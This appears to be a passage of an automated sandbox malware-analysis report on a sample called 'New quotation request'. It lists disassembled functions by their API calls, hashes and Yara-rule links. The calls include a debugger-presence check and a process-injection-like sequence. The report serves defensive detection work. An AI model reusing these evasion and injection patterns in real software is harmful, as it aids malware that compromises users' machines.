                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: _memmove
                                                                    • String ID:
                                                                    • API String ID: 4104443479-0
                                                                    • Opcode ID: 9dd4efb868ffb8a5767105da0b16a8b73f80e319b4c4c742e2df27cd6dceb9ed
                                                                    • Instruction ID: 0d63f9f61eb20721fc35e7f066889ddf9372406f2ffb0c26b67c2b7a2cc4327f
                                                                    • Opcode Fuzzy Hash: 9dd4efb868ffb8a5767105da0b16a8b73f80e319b4c4c742e2df27cd6dceb9ed
                                                                    • Instruction Fuzzy Hash: B43189B1624506AFC744DF68C8D1E69F3A5FF88350B15862AE519CB391DB70ED70CB90
                                                                    Function 002B47D0 Relevance: 3.1, APIs: 2, Instructions: 59COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • IsThemeActive.UXTHEME ref: 002B4834
                                                                      • Part of subcall function 002D336C: __lock.LIBCMT ref: 002D3372
                                                                      • Part of subcall function 002D336C: DecodePointer.KERNEL32(00000001,?,002B4849,00307C74), ref: 002D337E
                                                                      • Part of subcall function 002D336C: EncodePointer.KERNEL32(?,?,002B4849,00307C74), ref: 002D3389
                                                                      • Part of subcall function 002B48FD: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 002B4915
                                                                      • Part of subcall function 002B48FD: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 002B492A
                                                                      • Part of subcall function 002B3B3A: GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 002B3B68
                                                                      • Part of subcall function 002B3B3A: IsDebuggerPresent.KERNEL32 ref: 002B3B7A
                                                                      • Part of subcall function 002B3B3A: GetFullPathNameW.KERNEL32(00007FFF,?,?,003752F8,003752E0,?,?), ref: 002B3BEB
                                                                      • Part of subcall function 002B3B3A: SetCurrentDirectoryW.KERNEL32(?), ref: 002B3C6F
                                                                    • SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 002B4874
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: InfoParametersSystem$CurrentDirectoryPointer$ActiveDebuggerDecodeEncodeFullNamePathPresentTheme__lock
                                                                    • String ID:
                                                                    • API String ID: 1438897964-0
                                                                    • Opcode ID: b7f797d948ba83e4d710cab104fe38ef773d417e1f63f96f278b77887d506ba5
                                                                    • Instruction ID: a82eddb9bab5209cb5946f812319c356b8834eec3977374c0adc8413ba6ffd29
                                                                    • Opcode Fuzzy Hash: b7f797d948ba83e4d710cab104fe38ef773d417e1f63f96f278b77887d506ba5
                                                                    • Instruction Fuzzy Hash: A7119D719187419FC711EF29EC4594ABBF8EF85790F10491EF149832B2DBB09994CF92
                                                                    Function 002D0DB6 Relevance: 3.0, APIs: 2, Instructions: 44COMMONLIBRARYCODE
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002D571C: __FF_MSGBANNER.LIBCMT ref: 002D5733
                                                                      • Part of subcall function 002D571C: __NMSG_WRITE.LIBCMT ref: 002D573A
                                                                      • Part of subcall function 002D571C: RtlAllocateHeap.NTDLL(01580000,00000000,00000001,00000000,?,?,?,002D0DD3,?), ref: 002D575F
                                                                    • std::exception::exception.LIBCMT ref: 002D0DEC
                                                                    • __CxxThrowException@8.LIBCMT ref: 002D0E01
                                                                      • Part of subcall function 002D859B: RaiseException.KERNEL32(?,?,?,00369E78,00000000,?,?,?,?,002D0E06,?,00369E78,?,00000001), ref: 002D85F0
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
                                                                    • String ID:
                                                                    • API String ID: 3902256705-0
                                                                    • Opcode ID: caebf48886711d3e60bbadd6b126d520b05922f2212c1003e2ff9b598fe548a7
                                                                    • Instruction ID: 1367fd08e042fb90dda28a226967aecccbbd14cec15b4f183a5f4b274fea00a3
                                                                    • Opcode Fuzzy Hash: caebf48886711d3e60bbadd6b126d520b05922f2212c1003e2ff9b598fe548a7
                                                                    • Instruction Fuzzy Hash: F2F0F43582031A66CB11BAA4EC41ADFB7ACDF05310F10442BF814AA391DFB0AE60CAE1
                                                                    Function 002D53A6 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002D8B28: __getptd_noexit.LIBCMT ref: 002D8B28
                                                                    • __lock_file.LIBCMT ref: 002D53EB
                                                                      • Part of subcall function 002D6C11: __lock.LIBCMT ref: 002D6C34
                                                                    • __fclose_nolock.LIBCMT ref: 002D53F6
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: __fclose_nolock__getptd_noexit__lock__lock_file
                                                                    • String ID:
                                                                    • API String ID: 2800547568-0
                                                                    • Opcode ID: d07ab2b53d99b50d034b0401e0f6aa9947ea643b1bf855783eba146fb8391106
                                                                    • Instruction ID: cd6e415d62e2243797508676ed331c5c37c597dd0e8b4192d12beb245fd3b833
                                                                    • Opcode Fuzzy Hash: d07ab2b53d99b50d034b0401e0f6aa9947ea643b1bf855783eba146fb8391106
                                                                    • Instruction Fuzzy Hash: 27F09071830A159ADB51AF7598067AD7BA06F41374F20824BE464AB3C1CBFC8D619F52
                                                                    Function 015BE0A5 Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CreateProcessW.KERNELBASE(?,00000000), ref: 015BE863
                                                                    • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 015BE8F9
                                                                    • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 015BE91B
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1678033547.00000000015BC000.00000040.00000020.00020000.00000000.sdmp, Offset: 015BC000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_15bc000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                                    • String ID:
                                                                    • API String ID: 2438371351-0
                                                                    • Opcode ID: 6ff7500a3617197a005732162d507dd4d37460c8dcbf147a4ae2be43d63b6423
                                                                    • Instruction ID: d7f062da898a4b626ad522dc4d10597ac5d1a22053727c485fa26171ba5d148d
                                                                    • Opcode Fuzzy Hash: 6ff7500a3617197a005732162d507dd4d37460c8dcbf147a4ae2be43d63b6423
                                                                    • Instruction Fuzzy Hash: 5E12CD24E24658C6EB24DF64D8507DEB232FF68300F1094E9910DEB7A5E77A4F81CB5A
                                                                    Function 002D0C08 Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ProtectVirtual
                                                                    • String ID:
                                                                    • API String ID: 544645111-0
                                                                    • Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                                    • Instruction ID: 63bf481e601a4f6f57cd9e677aa91dfe15d9a9bdf10ad46fb3df1541ccc7c170
                                                                    • Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                                    • Instruction Fuzzy Hash: 6231A070A201069BC718DF59C4C4A69F7A6FB59300F6486A7E80ACB365DA71EDE1DB80
                                                                    Function 002EFCAC Relevance: 1.6, APIs: 1, Instructions: 88COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ClearVariant
                                                                    • String ID:
                                                                    • API String ID: 1473721057-0
                                                                    • Opcode ID: b6add0d997462d7b15e14000ed9258f2282678124a19b752ce2c5be87af62c96
                                                                    • Instruction ID: d5b121097f5fd5f6ff6dabcfdc9063bd33764af285e20eed6456b75491ca0fbd
                                                                    • Opcode Fuzzy Hash: b6add0d997462d7b15e14000ed9258f2282678124a19b752ce2c5be87af62c96
                                                                    • Instruction Fuzzy Hash: DD4136745143418FDB25CF24C484B6ABBE0BF49354F0988ACE9998B362C371EC55CF42
                                                                    Function 002B7B53 Relevance: 1.6, APIs: 1, Instructions: 84COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: _memmove
                                                                    • String ID:
                                                                    • API String ID: 4104443479-0
                                                                    • Opcode ID: 34304675d01f123a7e9d392de776ab062430db37f94a09c307e59457b001190a
                                                                    • Instruction ID: 79f72be3d7b0a8896a491cf5f1ee112188abc0c10207cdbca1e79a7a60f1b162
                                                                    • Opcode Fuzzy Hash: 34304675d01f123a7e9d392de776ab062430db37f94a09c307e59457b001190a
                                                                    • Instruction Fuzzy Hash: 38214472624A09EBDF118F22E8417A97BB8FB54390F72846BE446C51A0EB70D4B0CB45
                                                                    Function 002D06FE Relevance: 1.6, APIs: 1, Instructions: 74COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 18c5489e10bf90967b407c97ba3e9671536613558e28c702a36db8cb16b61f80
                                                                    • Instruction ID: 97dee790345a4c5252c2e70bbcd1e41f4ffa5b89dcfca1247fed7eb624accb7b
                                                                    • Opcode Fuzzy Hash: 18c5489e10bf90967b407c97ba3e9671536613558e28c702a36db8cb16b61f80
                                                                    • Instruction Fuzzy Hash: A52126664093815FD7234F38A885BD6BFA4AF82220F0540DFE884CF977C2209C59C7A2
                                                                    Function 002B4DDD Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002B4BB5: FreeLibrary.KERNEL32(00000000,?), ref: 002B4BEF
                                                                      • Part of subcall function 002D525B: __wfsopen.LIBCMT ref: 002D5266
                                                                    • LoadLibraryExW.KERNEL32(?,00000000,00000002,?,003752F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 002B4E0F
                                                                      • Part of subcall function 002B4B6A: FreeLibrary.KERNEL32(00000000), ref: 002B4BA4
                                                                      • Part of subcall function 002B4C70: _memmove.LIBCMT ref: 002B4CBA
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Library$Free$Load__wfsopen_memmove
                                                                    • String ID:
                                                                    • API String ID: 1396898556-0
                                                                    • Opcode ID: bfbc526b6266911b6b9df4c083934302b24aec5f3083be980b1666f05959ca89
                                                                    • Instruction ID: 62dfe5b2481a0b5d65cce389a26b13f6633c48bb58f3a8cf7de9004059482acf
                                                                    • Opcode Fuzzy Hash: bfbc526b6266911b6b9df4c083934302b24aec5f3083be980b1666f05959ca89
                                                                    • Instruction Fuzzy Hash: DD112731A20205ABCF11FF71CC92FED77A9AF44780F508829F541A7183DAB0DA219F51
                                                                    Function 002EFD85 Relevance: 1.6, APIs: 1, Instructions: 63COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ClearVariant
                                                                    • String ID:
                                                                    • API String ID: 1473721057-0
                                                                    • Opcode ID: e419ca000cbaf8989744eb2e793c85779b179e077f4f1168a27f48436c855e7c
                                                                    • Instruction ID: f8d839b4431e2f4912c662b3a1cc6b83de7eeec7cb084460ae3fc9e705f622b5
                                                                    • Opcode Fuzzy Hash: e419ca000cbaf8989744eb2e793c85779b179e077f4f1168a27f48436c855e7c
                                                                    • Instruction Fuzzy Hash: 7A210674528341DFCB15DF24C484B5ABBE1BF88354F058968E98957722D731E825CF52
                                                                    Function 002D4863 Relevance: 1.5, APIs: 1, Instructions: 36COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • __lock_file.LIBCMT ref: 002D48A6
                                                                      • Part of subcall function 002D8B28: __getptd_noexit.LIBCMT ref: 002D8B28
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: __getptd_noexit__lock_file
                                                                    • String ID:
                                                                    • API String ID: 2597487223-0
                                                                    • Opcode ID: 72dda7e37410967f7d6b540990ab9e67be4e803833a28c631ce9769652632fdd
                                                                    • Instruction ID: 1d5d7d622a488fe01eb916bce255e774a785e193920b7454afacc6f0f324dc48
                                                                    • Opcode Fuzzy Hash: 72dda7e37410967f7d6b540990ab9e67be4e803833a28c631ce9769652632fdd
                                                                    • Instruction Fuzzy Hash: A7F08C31920649ABDB11BFA48C0A7EE36A1AF00365F158416F4249A391CBB88D71EF51
                                                                    Function 002B4E4A Relevance: 1.5, APIs: 1, Instructions: 28COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • FreeLibrary.KERNEL32(?,?,003752F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 002B4E7E
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: FreeLibrary
                                                                    • String ID:
                                                                    • API String ID: 3664257935-0
                                                                    • Opcode ID: 14a2bbc901af08f22cc0ffd0dd7a4925c36f7b1a31e2a8b6a88715f24d4525e5
                                                                    • Instruction ID: f5197bacc5d35359a1860f7279f8622f0a339680ab6520d8a82c0f65db8d257c
                                                                    • Opcode Fuzzy Hash: 14a2bbc901af08f22cc0ffd0dd7a4925c36f7b1a31e2a8b6a88715f24d4525e5
                                                                    • Instruction Fuzzy Hash: CCF03071525712CFCB34AF64E4D4852B7E5BF143A5310897EE2D782612C771D860DF40
                                                                    Function 002D0791 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 002D07B0
                                                                      • Part of subcall function 002B7BCC: _memmove.LIBCMT ref: 002B7C06
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: LongNamePath_memmove
                                                                    • String ID:
                                                                    • API String ID: 2514874351-0
                                                                    • Opcode ID: b9793669a6c5738e00df80355d6b605f12dfa53ba411f582f3afa62674764bfc
                                                                    • Instruction ID: 5d3bb3973b3c51ddac301808e5c6694e057dd03875531db7e7d780b0e71eee92
                                                                    • Opcode Fuzzy Hash: b9793669a6c5738e00df80355d6b605f12dfa53ba411f582f3afa62674764bfc
                                                                    • Instruction Fuzzy Hash: DEE0CD369441285BC721D6699C06FEA77DDDFC87A0F0441B5FC0CD7245D9749C908AD0
                                                                    Function 002D525B Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: __wfsopen
                                                                    • String ID:
                                                                    • API String ID: 197181222-0
                                                                    • Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
                                                                    • Instruction ID: 8a50c8b4b281a8c5670881afba95169e2a5b0751e143bafe0981abcd70c24cd1
                                                                    • Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
                                                                    • Instruction Fuzzy Hash: CBB0927644020C77CE012A82EC02A493B199B41764F408021FF0C18262E6B3AA789A89
                                                                    Function 015BF0A4 Relevance: 1.3, APIs: 1, Instructions: 21sleepCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • Sleep.KERNELBASE(000001F4), ref: 015BF0B9
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1678033547.00000000015BC000.00000040.00000020.00020000.00000000.sdmp, Offset: 015BC000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_15bc000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Sleep
                                                                    • String ID:
                                                                    • API String ID: 3472027048-0
                                                                    • Opcode ID: 647f186050b41918f79179839cbc1a488579cc5f77474145a25b6e124dddc6ea
                                                                    • Instruction ID: 178c3a3c180c83932c0cdb812f1f1ce546d08b36cdca4d32749ef9e5473a9d71
                                                                    • Opcode Fuzzy Hash: 647f186050b41918f79179839cbc1a488579cc5f77474145a25b6e124dddc6ea
                                                                    • Instruction Fuzzy Hash: C2E0BF7894010DEFDB10DFA4D9496DD7BB4FF04301F1005A1FD05D7690DB309E548A62
                                                                    Function 015BF0A8 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • Sleep.KERNELBASE(000001F4), ref: 015BF0B9
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1678033547.00000000015BC000.00000040.00000020.00020000.00000000.sdmp, Offset: 015BC000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_15bc000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Sleep
                                                                    • String ID:
                                                                    • API String ID: 3472027048-0
                                                                    • Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                                    • Instruction ID: ef83bb8d38771444c09960ea1a4da89d13573e90f6cf2e449282b2fd421308e4
                                                                    • Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                                    • Instruction Fuzzy Hash: 17E0E67494010DDFDB00DFB4D9496DD7BB4FF04301F100161FD01D2280D6309D508A62

                                                                    Non-executed Functions

                                                                    Function 0033CABC Relevance: 75.9, APIs: 40, Strings: 3, Instructions: 632windowkeyboardCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002B2612: GetWindowLongW.USER32(?,000000EB), ref: 002B2623
                                                                    • DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 0033CB37
                                                                    • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0033CB95
                                                                    • GetWindowLongW.USER32(?,000000F0), ref: 0033CBD6
                                                                    • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0033CC00
                                                                    • SendMessageW.USER32 ref: 0033CC29
                                                                    • _wcsncpy.LIBCMT ref: 0033CC95
                                                                    • GetKeyState.USER32(00000011), ref: 0033CCB6
                                                                    • GetKeyState.USER32(00000009), ref: 0033CCC3
                                                                    • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0033CCD9
                                                                    • GetKeyState.USER32(00000010), ref: 0033CCE3
                                                                    • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0033CD0C
                                                                    • SendMessageW.USER32 ref: 0033CD33
                                                                    • SendMessageW.USER32(?,00001030,?,0033B348), ref: 0033CE37
                                                                    • ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 0033CE4D
                                                                    • ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 0033CE60
                                                                    • SetCapture.USER32(?), ref: 0033CE69
                                                                    • ClientToScreen.USER32(?,?), ref: 0033CECE
                                                                    • ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 0033CEDB
                                                                    • InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 0033CEF5
